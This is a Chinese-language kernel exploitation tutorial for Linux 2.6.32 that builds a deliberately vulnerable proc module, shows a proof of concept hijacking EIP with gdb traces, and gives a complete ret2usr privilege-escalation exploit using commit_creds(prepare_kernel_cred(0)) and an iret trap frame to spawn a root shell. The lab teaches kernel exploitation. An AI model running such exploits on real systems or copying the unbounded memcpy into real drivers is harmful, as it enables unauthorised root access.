Introduction
内核态栈溢出和用户态栈溢出原理一致,覆盖栈数据劫持控制流,在内核空间可以用来提权。
Bug
查看漏洞代码:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file, const char *buf, unsigned long len)
{
char localbuf[8];
memcpy(localbuf, buf, len);
return len;
}
static int __init stack_smashing_init(void)
{
printk(KERN_ALERT "stack_smashing driver init!\n");
create_proc_entry("bug2", 0666, 0)->write_proc = bug2_write;
return 0;
}
static void __exit stack_smashing_exit(void)
{
printk(KERN_ALERT "stack_smashing driver exit!\n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);
Makefile:
obj-m := stack_smashing.o
KERNELDR := /home/user/linux-2.6.32/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
Poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
char buf[24] = {0};
memset(buf, 'A', 24);
*((void **)(buf + 20)) = 0x42424242;
int fd = open("/proc/bug2", O_WRONLY);
write(fd, buf, sizeof(buf));
return 0;
}
由于之前编译时开启了 stack protect ,直接执行 poc 会造成 kernel panic,需重新编译内核,编辑内核目录下的
.config
文件,关闭 CONFIG_CC_STACKPROTECTOR 选项,然后重新编译,再次运行 poc 发现成功劫持 eip
。
Debug
调试注意事项:
模块在加载进内核后,并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息传给gdb。
add-symbol-file
命令就是用来把模块的详细信息传给gdb的。
由于模块也是一个ELF文件,需要知道模块的 .text
、.bss
、.data
节区地址。
模块stack_smashing.ko的这三个信息分别保存在 /sys/module/stack_smashing/sections/.text
、
/sys/module/stack_smashing/sections/.bss
和 /sys/module/stack_smashing/sections/.data
,
由于 stack_smashing
模块没有bss、data节区,所以只需指定text即可。
调试过程:
在 qemu 中设置好 gdbserver,找到模块的 .text
节区地址:
/ # grep 0 /sys/module/stack_smashing/sections/.text
0xc8815000
在主机的linux-2.6.32目录中用gdb连接:
gd@ubuntu:~/pwn/kernel/linux-2.6.32$ gdb vmlinux
...
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
0xc100946b in __monitor (edx=0x0, ecx=0x0, eax=0xc162e000 <__kstrtab_inet_sendmsg+6>)
at /home/user/linux-2.6.32/arch/x86/include/asm/processor.h:740
740 /home/user/linux-2.6.32/arch/x86/include/asm/processor.h: No such file or directory.
gdb-peda$ add-symbol-file ../stack_smashing/stack_smashing.ko 0xc8815000
add symbol table from file "../stack_smashing/stack_smashing.ko" at
.text_addr = 0xc8815000
Reading symbols from ../stack_smashing/stack_smashing.ko...done.
gdb-peda$ b bug2_write
Breakpoint 1 at 0xc8815000: file /home/user/Desktop/stack_smashing/stack_smashing.c, line 6.
gdb-peda$ c
Continuing.
运行 poc 之后
Breakpoint 1, bug2_write (file=0xc733c200, buf=0xbfb0e0a4 'A' <repeats 20 times>, "BBBB", len=0x18)
at /home/user/Desktop/stack_smashing/stack_smashing.c:6
6 in /home/user/Desktop/stack_smashing/stack_smashing.c
gdb-peda$ x/20i $pc
=> 0xc8815000 <bug2_write>: push ebp
0xc8815001 <bug2_write+1>: mov ebp,esp
0xc8815003 <bug2_write+3>: sub esp,0x10
0xc8815006 <bug2_write+6>: mov DWORD PTR [ebp-0x8],esi
0xc8815009 <bug2_write+9>: mov DWORD PTR [ebp-0x4],edi
0xc881500c <bug2_write+12>: nop DWORD PTR [eax+eax*1+0x0]
0xc8815011 <bug2_write+17>: mov eax,ecx
0xc8815013 <bug2_write+19>: mov esi,edx
0xc8815015 <bug2_write+21>: shr ecx,0x2
0xc8815018 <bug2_write+24>: lea edi,[ebp-0x10]
0xc881501b <bug2_write+27>: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
0xc881501d <bug2_write+29>: mov ecx,eax
0xc881501f <bug2_write+31>: and ecx,0x3
0xc8815022 <bug2_write+34>: je 0xc8815026 <bug2_write+38>
0xc8815024 <bug2_write+36>: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
0xc8815026 <bug2_write+38>: mov esi,DWORD PTR [ebp-0x8]
0xc8815029 <bug2_write+41>: mov edi,DWORD PTR [ebp-0x4]
0xc881502c <bug2_write+44>: mov esp,ebp
0xc881502e <bug2_write+46>: pop ebp
0xc881502f <bug2_write+47>: ret
gdb-peda$ b *0xc881502f
Breakpoint 2 at 0xc881502f: file /home/user/Desktop/stack_smashing/stack_smashing.c, line 10.
gdb-peda$ c
Continuing.
Warning: not running or target is remote
Breakpoint 2, 0xc881502f in bug2_write (file=<optimized out>, buf=0xbfb0e0a4 'A' <repeats 20 times>, "BBBB", len=<optimized out>)
at /home/user/Desktop/stack_smashing/stack_smashing.c:10
10 in /home/user/Desktop/stack_smashing/stack_smashing.c
gdb-peda$ x/2i $pc
=> 0xc881502f <bug2_write+47>: ret
0xc8815030: push ebp
gdb-peda$ x/4xw $esp
0xc7287f28: 0x42424242 0x00000000 0x00000018 0xbfb0e0a4
gdb-peda$ ni
Warning: not running or target is remote
0x42424242 in ?? ()
成功劫持 eip
。
Exploit
思路:利用 commit_creds(prepare_kernel_creds(0))
提升权限,然后返回到用户模式执行 system("/bin/sh")
获得 root shell。
system call mechanism:
普通函数调用:
- 使用
call
和ret
指令 - 栈上保存返回地址
用户态 -> 内核态调用:
- 使用
int
和iret
指令 - 栈上保存
trap frame
返回到用户模式执行 iret
指令,关于iret指令:
当使用 iret
指令返回到相同保护级别的任务时,iret
会从堆栈弹出代码段选择子及指令指针分别到 CS
与 IP
寄存器,并弹出标志寄存器内容到 EFLAGS
寄存器。
当使用 iret
指令返回到一个不同的保护级别时,iret
不仅会从堆栈弹出以上内容,还会弹出堆栈段选择子及堆栈指针
分别到 SS
与 SP
寄存器。
iret
以 trap frame
结构保存用户态信息。
struct trap_frame {
void * eip ; // instruction pointer
uint32_t cs ; // code segment
uint32_t eflags ; // CPU flags
void * esp ; // stack pointer
uint32_t ss ; // stack segment
} __attribute__ (( packed ));
在qemu中获得两个函数的地址:
/ # grep prepare_kernel_cred /proc/kallsyms
c1069700 T prepare_kernel_cred
c1604d4c r __ksymtab_prepare_kernel_cred
c160e458 r __kcrctab_prepare_kernel_cred
c16151e0 r __kstrtab_prepare_kernel_cred
/ # grep commit_cred /proc/kallsyms
c1069560 T commit_creds
c11bd900 T security_commit_creds
c1604d6c r __ksymtab_commit_creds
c160e468 r __kcrctab_commit_creds
c161521c r __kstrtab_commit_creds
exploit 代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
};
struct trap_frame tf;
void launch_shell(){
execl("/bin/sh","sh",NULL);
}
void prepare_tf(){
asm("pushl %cs;"
"popl tf+4;" //set cs
"pushfl;"
"popl tf+8;" //set eflags;
"pushl %esp;"
"popl tf+12;" //set esp;
"pushl %ss;"
"popl tf+16;"); //set ss;
tf.eip = &launch_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void (*commit_creds)(void *) KERNCALL = (void*)0xc1069560;
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *)0xc1069700;
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;"
);
}
int main(){
char buf[24]={0};
memset(buf,'A',20);
*(void **)(buf+20) = &payload;
prepare_tf();
int fd=open("/proc/bug2",O_WRONLY);
write(fd,buf,sizeof(buf));
}
设置好 gdb,断到 bug2_write
处:
继续断到 ret
指令处查看一下:
gdb-peda$ x/4xw $esp
0xc78cbf28: 0x08048f3e 0x00000000 0x00000018 0xbfdbb094
gdb-peda$ x/20i 0x08048f3e
0x8048f3e: push ebp
0x8048f3f: mov ebp,esp
0x8048f41: push ebx
0x8048f42: sub esp,0x4
0x8048f45: mov ebx,DWORD PTR ds:0x80ef068
0x8048f4b: mov edx,DWORD PTR ds:0x80ef06c
0x8048f51: mov eax,0x0
0x8048f56: call edx
0x8048f58: call ebx
0x8048f5a: mov esp,0x80f112c
0x8048f5f: iret
0x8048f60: add esp,0x4
0x8048f63: pop ebx
0x8048f64: pop ebp
0x8048f65: ret
0x8048f66: push ebp
0x8048f67: mov ebp,esp
0x8048f69: push ebx
0x8048f6a: and esp,0xfffffff0
0x8048f6d: sub esp,0x30
单步执行 payload
,调用了 commit_creds(prepare_kernel_pare(0))
之后执行到 iret
时查看一下构造的 trap frame
:
执行 exploit: